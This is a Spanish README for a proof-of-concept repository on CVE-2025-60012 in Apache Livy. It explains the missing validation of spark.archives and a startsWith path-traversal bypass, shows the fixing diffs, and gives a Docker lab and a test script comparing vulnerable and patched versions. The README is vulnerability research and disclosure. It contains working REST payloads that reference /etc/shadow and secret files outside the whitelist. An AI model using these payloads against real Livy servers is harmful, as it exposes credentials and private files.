
Un POC para la vulnerabilidad de acceso no autorizado a archivos de Apache Livy.
Solo para fines educativos y de investigación en seguridad. No lo utilice contra sistemas que no posea o para los que no tenga permiso explícito por escrito. → Descargo de responsabilidad completo
| Campo | Detalle |
|---|---|
| CVE ID | CVE-2025-60012 |
| Severidad | Medio (CVSS 6.3) |
| Afectados | Apache Livy 0.7.0-incubating, 0.8.0-incubating — cuando está conectado a Apache Spark 3.1 o posterior |
| Corregido en | Apache Livy 0.9.0-incubating |
| CWE | CWE-20: Validación de entrada incorrecta |
| Divulgado | 2026-03-13 |
| Reportado por | Furue Hideyuki |
Un usuario autenticado con acceso a la interfaz REST o JDBC de Livy puede enviar una sesión de Spark o un trabajo por lotes con valores de configuración manipulados. Dos debilidades se combinan para permitir que el atacante haga referencia a archivos del sistema de archivos local fuera de sus rutas permitidas:
Falta de validación para spark.archives — Spark 3.1 introdujo spark.archives como una forma unificada de distribuir archivos comprimidos entre todos los administradores de clúster. La lista codificada de claves de configuración que se validan en las rutas en Livy 0.8.0 (HARDCODED_SPARK_FILE_LISTS) no incluye spark.archives. Por lo tanto, una ruta pasada a través de esta clave nunca se verifica contra la lista blanca del sistema de archivos local (livy.file.local-dir-whitelist), lo que permite a un atacante hacer referencia a cualquier archivo local.
Omisión de path traversal en la verificación de la lista blanca — Incluso para las claves de configuración que SÍ se validan, la comparación de la lista blanca en Livy 0.8.0 utiliza una simple llamada startsWith de Java String sobre la ruta sin procesar. Un atacante puede eludir esto mediante path traversal: /whitelisted/dir/../../etc/passwd pasa la verificación de la cadena pero se resuelve fuera del directorio permitido.
LivyConf.scalaVulnerable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Corregido (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala
Session.scalaVulnerable (v0.8.0): https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Corregido (v0.9.0): https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala
Ambas versiones se clonaron directamente desde el repositorio oficial de Apache Livy en GitHub en este espacio de trabajo utilizando los siguientes comandos exactos:
Repositorio: https://github.com/apache/incubator-livy```bash
git clone --depth=1 --branch v0.8.0-incubating
https://github.com/apache/incubator-livy
livy-0.8.0
git clone --depth=1 --branch v0.9.0-incubating
https://github.com/apache/incubator-livy
livy-0.9.0
| Versión | Etiqueta | Commit resuelto | Ruta local |
|---------|----------|-----------------|------------|
| 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` |
| 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` |
## Diferencias exactas de código
Las diferencias se produjeron clonando ambas etiquetas localmente (ver arriba) y ejecutando:```bash
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala
diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \
livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala
LivyConf.scala: spark.archives añadido a la lista de archivos codificados```diffprivate val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES,
**Impacto de la entrada faltante en v0.8.0:**
Cuando un usuario envía una sesión con `conf: {"spark.archives": "file:///etc/passwd"}`, Livy
0.8.0 nunca llama a `resolveURIs()` en ese valor y nunca lo compara con
`livy.file.local-dir-whitelist`. La ruta se reenvía a Spark sin validación.
---
### Fix 2 — `Session.scala`: Normalización de ruta antes de la verificación de la lista blanca```diff
def resolveURI(uri: URI, livyConf: LivyConf): URI = {
...
if (resolved.getScheme() == "file") {
- require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined,
+ require(livyConf.localFsWhitelist.find(
+ Paths.get(resolved.getPath()).normalize.startsWith).isDefined,
s"Local path ${uri.getPath()} cannot be added to user sessions.")
}
}
Impacto en v0.8.0:
La comprobación de cadena sin procesar startsWith puede ser evitada con un payload de path traversal.
Ejemplo: si `livy.file.local-dir-whitelist = /opt/safe-data```` /opt/safe-data/../../../etc/passwd
- v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (evadido)
- v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd`
`/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (bloqueado)
## Resumen de vectores de ataque```
Attacker (authenticated REST/JDBC user)
│
▼
POST /sessions (or /batches)
{
"conf": {
"spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key
"spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass
}
}
│
▼
Livy 0.8.0 — validation skipped / bypassed
│
▼
Spark reads the file and distributes it to executors
│
▼
Attacker retrieves file contents via job output / logs
Todos los pasos de esta PoC se ejecutaron y validaron en el siguiente sistema:
| Componente | Detalle |
|---|---|
| SO del anfitrión | Ubuntu 24.04.4 LTS (Noble Numbat) |
| Kernel | 6.17.0-14-generic x86_64 |
| Arquitectura | x86_64 |
| Memoria total | 15.49 GiB |
| Docker Engine | 28.2.2 |
| JDK del anfitrión | OpenJDK 17.0.18 (usado solo por el anfitrión — los contenedores usan eclipse-temurin:11-jdk-focal) |
| Imagen base del contenedor | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) |
| Versión de Spark (ambas imágenes) | 3.1.3 con Hadoop 3.2 |
| Versión de Livy — imagen vulnerable | 0.8.0-incubating (compilación Scala 2.12) |
| Versión de Livy — imagen corregida | 0.9.0-incubating (compilación Scala 2.12) |
. ├── LICENSE ├── README.md ├── docker/ │ ├── fixed/ │ │ ├── Dockerfile │ │ └── livy.conf │ └── vulnerable/ │ ├── Dockerfile │ └── livy.conf ├── livy-0.8.0/ ← Apache Livy 0.8.0-incubating source ├── livy-0.9.0/ ← Apache Livy 0.9.0-incubating source └── test/ └── validate.sh
---
## Prueba de Concepto
### Resumen```
docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3)
docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3)
test/validate.sh → single script, run unchanged against both environments
Secuencia completa de principio a fin — siga los Pasos 1 a 4 en orden:``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container
> **Nota:** Livy tarda aproximadamente entre 15 y 20 segundos en estar listo después de `docker run`.
> Todos los pasos a continuación incluyen un `sleep 20` explícito antes de cualquier llamada a la API.
---
### Paso 1 — Construir e iniciar el entorno vulnerable (Livy 0.8.0 + Spark 3.1.3)
**Archivos:**
- `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating
- `docker/vulnerable/livy.conf` — escucha en `0.0.0.0:8998`, modo local, whitelist = `/opt/safe-data`
**1a. Construir la imagen:**```bash
docker build -t cve-2025-60012-vulnerable docker/vulnerable/
Validar — imagen creada:```bash docker images cve-2025-60012-vulnerable
Salida esperada:```
REPOSITORY TAG IMAGE ID CREATED SIZE
cve-2025-60012-vulnerable latest <id> <time> <size>
1b. Inicia el contenedor:```bash docker run -d --name livy-vulnerable -p 8998:8998 cve-2025-60012-vulnerable
**Validar — el contenedor está en ejecución:**```bash
docker ps --filter name=livy-vulnerable
Salida esperada:``` CONTAINER ID IMAGE COMMAND STATUS PORTS cve-2025-60012-vulnerable "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
---
**1c. Espera a que Livy se inicie, luego verifica la API REST:**
> Livy requiere ~15–20 segundos para inicializarse antes de atender solicitudes.```bash
sleep 20
curl -s http://localhost:8998/sessions
Salida esperada:```json {"from":0,"total":0,"sessions":[]}
**1d. Validar la estructura de directorios dentro del contenedor:**
Confirmar que el archivo seguro permitido existe:```bash
docker exec livy-vulnerable cat /opt/safe-data/safe.txt
Salida esperada:``` This file lives inside the whitelisted directory.
Confirme que el archivo sensible objetivo existe fuera de la lista blanca:```bash
docker exec livy-vulnerable cat /opt/sensitive/secret.txt
Salida esperada:``` SECRET_KEY=abcdef1234567890 DB_PASSWORD=SuperSecret!
---
### Paso 2 — Ejecutar validación contra el entorno vulnerable
> El contenedor vulnerable del Paso 1 debe seguir ejecutándose en el puerto 8998.
**Lo que `test/validate.sh` prueba:**
| # | Ataque | Clave de payload | Resultado esperado en Livy 0.8.0 |
|---|--------|-------------|-------------------------------|
| 1 | `spark.archives` ausente de `HARDCODED_SPARK_FILE_LISTS` en `LivyConf.scala` | `spark.archives` | HTTP 201 — ruta aceptada sin validar |
| 2 | Path traversal mediante `String.startsWith()` en `Session.scala` | `spark.jars` con `../` traversal | HTTP 201 — el traversal evade la lista blanca |
**2a. Ejecutar el script:**```bash
bash test/validate.sh
Resultado esperado:``` TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key) WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data) PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":0,...,"conf":{"spark.archives":"file:///opt/sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass) WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 201 RESPONSE : {"id":1,...,"conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"},...}
[VULNERABLE] Livy ACCEPTED the request (HTTP 201). Path was NOT validated — attack vector is open.
RESULT: VULNERABLE — exit code 1
**2b. Detener y eliminar el contenedor vulnerable:**```bash
docker stop livy-vulnerable && docker rm livy-vulnerable
Validar — el contenedor se ha eliminado completamente:```bash docker ps -a --filter name=livy-vulnerable
Salida esperada (vacía — sin filas):```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
Archivos:
docker/fixed/Dockerfile — imagen base idéntica y Spark 3.1.3, solo la versión de Livy cambia a 0.9.0docker/fixed/livy.conf — idéntico a docker/vulnerable/livy.conf (misma lista blanca, puerto, modo)Mantener Spark, la imagen base y toda la configuración idénticos al Paso 1 aísla a Livy como la única variable.
3a. Construir la imagen:```bash docker build -t cve-2025-60012-fixed docker/fixed/
**Validar — imagen fue creada:**```bash
docker images cve-2025-60012-fixed
Salida esperada:``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-fixed latest
**3b. Iniciar el contenedor:**```bash
docker run -d --name livy-fixed -p 8998:8998 cve-2025-60012-fixed
Validar — el contenedor está ejecutándose:```bash docker ps --filter name=livy-fixed
Salida esperada:```
CONTAINER ID IMAGE COMMAND STATUS PORTS
<id> cve-2025-60012-fixed "livy-server" Up X seconds 0.0.0.0:8998->8998/tcp
3c. Espere a que Livy se inicie, luego verifique la API REST:```bash sleep 20 curl -s http://localhost:8998/sessions
Salida esperada:```json
{"from":0,"total":0,"sessions":[]}
El contenedor corregido del Paso 3 debe estar ejecutándose en el puerto 8998. El script es idéntico — sin cambios.
Qué cambia entre el Paso 2 y el Paso 4:
spark.archives mediante HARDCODED_SPARK_FILE_LISTSPaths.get().normalize() antes de la verificación de la lista blanca4a. Ejecutar el script:```bash bash test/validate.sh
> **Nota:** `validate.sh` funciona de la siguiente manera:
> 1. Consulta `GET /sessions` hasta que Livy responda (hasta 60 segundos), confirmando que el servidor está listo.
> 2. Para cada ataque, envía una solicitud `POST /sessions` mediante `curl` con un payload `conf` manipulado que apunta a un archivo fuera de la lista blanca (`/opt/sensitive/secret.txt`).
> 3. Lee el código de respuesta HTTP: **201** significa que Livy aceptó la ruta sin validación (vulnerable); **400** significa que Livy la rechazó en la comprobación de la lista blanca (corregido).
> 4. Si se creó una sesión (HTTP 201), el script la elimina inmediatamente mediante `DELETE /sessions/{id}` para mantener el servidor limpio.
> 5. Después de ambas pruebas, imprime un resumen y finaliza con el código **1** (vulnerable) o **0** (corregido), lo que lo hace adecuado para su uso en procesos automatizados.
**Salida esperada:**```
TEST : Attack 1 — spark.archives (unvalidated Spark 3.1+ key)
WHAT : spark.archives path to /opt/sensitive/secret.txt (outside whitelist /opt/safe-data)
PAYLOAD : {"kind":"spark","conf":{"spark.archives":"file:///opt/sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
TEST : Attack 2 — path traversal via spark.jars (String.startsWith bypass)
WHAT : spark.jars path using '../' to escape /opt/safe-data whitelist
PAYLOAD : {"kind":"spark","conf":{"spark.jars":"file:///opt/safe-data/../sensitive/secret.txt"}}
HTTP CODE : 400
RESPONSE : {"msg":"Rejected, Reason: requirement failed: Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions."}
[FIXED] Livy REJECTED the request (HTTP 400).
Path validation blocked the payload.
RESULT: FIXED — exit code 0
Lo que confirman los mensajes de error:
| Ataque | HTTP | Mensaje de error | Causa raíz corregida |
|---|---|---|---|
1 — spark.archives | 400 | Local path /opt/sensitive/secret.txt cannot be added to user sessions. | spark.archives añadido a HARDCODED_SPARK_FILE_LISTS en LivyConf.scala; la ruta ahora pasa por la comprobación de lista blanca de resolveURI() |
| 2 — path traversal | 400 | Local path /opt/safe-data/../sensitive/secret.txt cannot be added to user sessions. | Se añadió Paths.get(...).normalize() en Session.scala; resuelve ../ antes de la comparación con la lista blanca |
4b. Detener y eliminar el contenedor corregido:```bash docker stop livy-fixed && docker rm livy-fixed
**Validar — el contenedor está completamente eliminado:**```bash
docker ps -a --filter name=livy-fixed
Salida esperada (vacía — sin filas):``` CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
## Inferencia
CVE-2025-60012 demuestra que una vulnerabilidad no siempre exige eludir un control de seguridad — a veces basta con encontrar una ruta que nunca pasó por ese control en primer lugar.
La lista blanca (`livy.file.local-dir-whitelist`) existía tanto en Livy 0.8.0 como en 0.9.0 y estaba correctamente configurada en ambos entornos. Las fallas estaban en un nivel anterior a ella:
1. **Registro faltante (Ataque 1):** `spark.archives` se introdujo en Spark 3.1 como un reemplazo independiente del administrador de clúster para `spark.yarn.dist.archives`. La lista interna de claves de configuración cuyas rutas se introducen en la comprobación de la lista blanca de Livy (`HARDCODED_SPARK_FILE_LISTS` en `LivyConf.scala`) nunca se actualizó para incluirlo. Por lo tanto, cualquier ruta pasada mediante `spark.archives` se reenviaba a Spark sin ninguna validación. La lista blanca nunca era consultada.
2. **Fallo lógico en la propia comprobación (Ataque 2):** Para las claves que estaban registradas, la comparación con la lista blanca en `Session.scala` usaba `String.startsWith()` de Java sobre la cadena de ruta sin procesar. Esto es insuficiente para comparaciones de rutas de sistemas de archivos porque no tiene en cuenta el avance con `..`. Una ruta como `/opt/safe-data/../sensitive/secret.txt` cumple la comprobación de cadena contra la entrada de lista blanca `/opt/safe-data`, pero se resuelve a una ubicación completamente fuera de ella.
En conjunto, estas dos debilidades significan que un usuario autenticado — sin privilegios especiales más allá del acceso a la interfaz REST o JDBC de Livy — podría hacer referencia a archivos locales arbitrarios en el host del servidor Livy. En un clúster de análisis compartido, esto se traduce en una posible exposición de credenciales, claves, archivos de configuración o cualquier dato legible por el usuario del proceso Livy.
La corrección en 0.9.0 es mínima y dirigida: una línea añadida a `HARDCODED_SPARK_FILE_LISTS` (cerrando la brecha de registro) y una llamada a `Paths.get().normalize()` añadida antes de la comparación con la lista blanca (cerrando la elusión por avance de directorio). Ningún cambio alteró la lista blanca en sí, confirmando que la lista blanca nunca fue el problema — el problema era que el código que alimentaba la lista estaba incompleto e impreciso.
**Conclusión clave para defensores:** Cuando Livy se despliega con Spark 3.1 o posterior, actualizar a Livy 0.9.0-incubating es la única corrección completa. Ajustar `livy.file.local-dir-whitelist` por sí solo no es suficiente contra el Ataque 1, porque las rutas enviadas a través de `spark.archives` omiten completamente esa comprobación en versiones vulnerables.
## Referencias
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-60012
- Divulgación OSS-Sec: http://www.openwall.com/lists/oss-security/2026/03/12/1
- Lista de correo de Apache: https://lists.apache.org/thread/gpc85fwrgrbglpk9gm8tmcjzqnctx64w
- Proyecto Apache Livy: https://livy.apache.org/
## Agradecimientos
- **Furue Hideyuki** — reportante original de CVE-2025-60012 al equipo de seguridad de Apache.
- **Mantenedores de Apache Livy** — por el rápido triaje y la corrección dirigida en v0.9.0-incubating.
- **Equipo de seguridad de Apache** — por coordinar el proceso de divulgación responsable.
- **Comunidad OSS-Sec** — por el hilo de divulgación pública que hizo posible el análisis independiente.
## Contribuciones
¡Las contribuciones para mejorar este PoC o la documentación son bienvenidas! Asegúrese de que cualquier contribución:
- Siga prácticas de divulgación responsable
- Incluya las renuncias apropiadas
- No incluya código malicioso más allá de la demostración educativa
- Mantenga un enfoque en el valor educativo
Para contribuir, abra un pull request o reporte un issue describiendo el cambio propuesto.
## Licencia
Este proyecto está licenciado bajo la [Licencia MIT](https://github.com/sid6224/cve-2025-60012-poc/blob/main/LICENSE).
## Aviso legal
Este repositorio es solo con fines educativos y de investigación en seguridad. La prueba de concepto
demuestra la mecánica de la vulnerabilidad para ayudar a la comprensión y a las medidas defensivas. No
lo use contra sistemas que no le pertenezcan o para los cuales no tenga permiso explícito por escrito para probar.
## Etiquetas
`cve-2025-60012` `apache-livy` `apache-spark` `path-traversal` `unauthorized-file-access`
`cwe-20` `improper-input-validation` `spark-archives` `livy-0.8.0` `livy-0.9.0`
`security-research` `proof-of-concept` `docker` `java` `scala`
`vulnerability-analysis` `whitelist-bypass` `file-disclosure` `rest-api-security`